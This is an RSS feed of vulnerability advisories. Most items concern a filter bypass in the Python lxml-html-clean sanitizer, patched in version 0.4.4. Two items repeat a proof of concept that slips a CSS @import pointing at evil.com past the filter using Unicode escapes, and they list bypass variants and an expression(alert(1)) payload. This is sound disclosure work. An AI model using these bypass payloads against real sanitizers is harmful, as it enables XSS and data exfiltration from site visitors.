<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 04:21:45 +0000</lastBuildDate>
    <item>
      <title>bdu:2026-07380</title>
      <link>https://cve.radiocsirt.org/vuln/bdu:2026-07380</link>
      <description>bdu:2026-07380</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/bdu:2026-07380</guid>
    </item>
    <item>
      <title>BREW-gptline-CVE-2026-28348 — lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes</title>
      <link>https://cve.radiocsirt.org/vuln/brew-gptline-cve-2026-28348</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: gptline&lt;/p&gt;
&lt;p&gt;### Summary
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.&lt;/p&gt;
&lt;p&gt;### Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace(&amp;#39;\\&amp;#39;, &amp;#39;&amp;#39;)
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers&amp;#39; CSS parsers decode `\69` as the character &amp;#39;i&amp;#39; (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.&lt;/p&gt;
&lt;p&gt;Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).&lt;/p&gt;
&lt;p&gt;### PoC
```python
from lxml_html_clean import clean_html&lt;/p&gt;
&lt;p&gt;# Normal @import is correctly blocked:
# clean_html(&amp;#39;&amp;lt;style&amp;gt;@import url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;#39;)
# Output: &amp;lt;div&amp;gt;&amp;lt;style&amp;gt; url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;# Unicode escape bypass:
result = clean_html(&amp;#39;&amp;lt;style&amp;gt;@\\69mport url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;#39;)
print(result)
# Output: &amp;lt;div&amp;gt;&amp;lt;style&amp;gt;@\69mport url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.&lt;/p&gt;
&lt;p&gt;### Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading C…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Homebrew: gptline&lt;/p&gt;
&lt;p&gt;### Summary
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.&lt;/p&gt;
&lt;p&gt;### Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace(&amp;#39;\\&amp;#39;, &amp;#39;&amp;#39;)
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers&amp;#39; CSS parsers decode `\69` as the character &amp;#39;i&amp;#39; (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.&lt;/p&gt;
&lt;p&gt;Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).&lt;/p&gt;
&lt;p&gt;### PoC
```python
from lxml_html_clean import clean_html&lt;/p&gt;
&lt;p&gt;# Normal @import is correctly blocked:
# clean_html(&amp;#39;&amp;lt;style&amp;gt;@import url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;#39;)
# Output: &amp;lt;div&amp;gt;&amp;lt;style&amp;gt; url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;# Unicode escape bypass:
result = clean_html(&amp;#39;&amp;lt;style&amp;gt;@\\69mport url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;#39;)
print(result)
# Output: &amp;lt;div&amp;gt;&amp;lt;style&amp;gt;@\69mport url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.&lt;/p&gt;
&lt;p&gt;### Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading C…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/brew-gptline-cve-2026-28348</guid>
    </item>
    <item>
      <title>certfr-2026-avi-0648 — De multiples vulnérabilités ont été découvertes dans Kaspersky Anti Targeted Attack Platform. Elles permettent à un att…</title>
      <link>https://cve.radiocsirt.org/vuln/certfr-2026-avi-0648</link>
      <description>certfr-2026-avi-0648</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/certfr-2026-avi-0648</guid>
    </item>
    <item>
      <title>EUVD-2026-274829</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-274829</link>
      <description>EUVD-2026-274829</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-274829</guid>
    </item>
    <item>
      <title>fkie_cve-2026-28348</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-28348</link>
      <description>&lt;p&gt;lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-28348</guid>
    </item>
    <item>
      <title>GHSA-hw26-mmpg-fqfg — lxml-html-clean has CSS @import Filter Bypass via Unicode Escapes</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-hw26-mmpg-fqfg</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: lxml-html-clean&lt;/p&gt;
&lt;p&gt;### Summary
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.&lt;/p&gt;
&lt;p&gt;### Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace(&amp;#39;\\&amp;#39;, &amp;#39;&amp;#39;)
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers&amp;#39; CSS parsers decode `\69` as the character &amp;#39;i&amp;#39; (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.&lt;/p&gt;
&lt;p&gt;Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).&lt;/p&gt;
&lt;p&gt;### PoC
```python
from lxml_html_clean import clean_html&lt;/p&gt;
&lt;p&gt;# Normal @import is correctly blocked:
# clean_html(&amp;#39;&amp;lt;style&amp;gt;@import url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;#39;)
# Output: &amp;lt;div&amp;gt;&amp;lt;style&amp;gt; url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;# Unicode escape bypass:
result = clean_html(&amp;#39;&amp;lt;style&amp;gt;@\\69mport url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;#39;)
print(result)
# Output: &amp;lt;div&amp;gt;&amp;lt;style&amp;gt;@\69mport url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.&lt;/p&gt;
&lt;p&gt;### Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading C…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: lxml-html-clean&lt;/p&gt;
&lt;p&gt;### Summary
The `_has_sneaky_javascript()` method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the `@import` and `expression()` filters, allowing external CSS loading or XSS in older browsers.&lt;/p&gt;
&lt;p&gt;### Details
The root cause is located in `clean.py` (around line 594):
```python
style = style.replace(&amp;#39;\\&amp;#39;, &amp;#39;&amp;#39;)
```
This transformation changes a payload like `@\69mport` into `@69mport`. This resulting string does NOT match the blacklist keyword `@import`. However, all modern browsers&amp;#39; CSS parsers decode `\69` as the character &amp;#39;i&amp;#39; (hex 69) according to CSS spec section 4.3.7, interpreting `@\69mport` as a valid `@import` statement.&lt;/p&gt;
&lt;p&gt;Same root cause bypasses `expression()` detection: `\65xpression(alert(1))` passes through (IE only).&lt;/p&gt;
&lt;p&gt;### PoC
```python
from lxml_html_clean import clean_html&lt;/p&gt;
&lt;p&gt;# Normal @import is correctly blocked:
# clean_html(&amp;#39;&amp;lt;style&amp;gt;@import url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;#39;)
# Output: &amp;lt;div&amp;gt;&amp;lt;style&amp;gt; url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;# Unicode escape bypass:
result = clean_html(&amp;#39;&amp;lt;style&amp;gt;@\\69mport url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;#39;)
print(result)
# Output: &amp;lt;div&amp;gt;&amp;lt;style&amp;gt;@\69mport url(&amp;#34;http://evil.com/x.css&amp;#34;);&amp;lt;/style&amp;gt;&amp;lt;/div&amp;gt;
```
If rendered in a browser, the browser loads the external CSS. Variants like `@\0069mport`, `@\69 mport` (trailing space), and `@\49mport` (uppercase I) also work.&lt;/p&gt;
&lt;p&gt;### Impact
External CSS loading enables data exfiltration via attribute selectors (e.g., reading C…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-hw26-mmpg-fqfg</guid>
    </item>
    <item>
      <title>openSUSE-SU-2026:10322-1 — python311-lxml_html_clean-0.4.4-1.1 on GA media</title>
      <link>https://cve.radiocsirt.org/vuln/opensuse-su-2026:10322-1</link>
      <description>&lt;p&gt;python311-lxml_html_clean-0.4.4-1.1 on GA media&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;python311-lxml_html_clean-0.4.4-1.1 on GA media&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/opensuse-su-2026:10322-1</guid>
    </item>
    <item>
      <title>PYSEC-2026-2201</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-2201</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: lxml-html-clean&lt;/p&gt;
&lt;p&gt;lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: lxml-html-clean&lt;/p&gt;
&lt;p&gt;lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-2201</guid>
    </item>
    <item>
      <title>UBUNTU-CVE-2026-28348</title>
      <link>https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-28348</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:24.04:LTS: lxml-html-clean, Ubuntu:25.10: lxml-html-clean, Ubuntu:26.04:LTS: lxml-html-clean&lt;/p&gt;
&lt;p&gt;lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Ubuntu:24.04:LTS: lxml-html-clean, Ubuntu:25.10: lxml-html-clean, Ubuntu:26.04:LTS: lxml-html-clean&lt;/p&gt;
&lt;p&gt;lxml_html_clean is a project for HTML cleaning functionalities copied from `lxml.html.clean`. Prior to version 0.4.4, the _has_sneaky_javascript() method strips backslashes before checking for dangerous CSS keywords. This causes CSS Unicode escape sequences to bypass the @import and expression() filters, allowing external CSS loading or XSS in older browsers. This issue has been patched in version 0.4.4.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ubuntu-cve-2026-28348</guid>
    </item>
  </channel>
</rss>
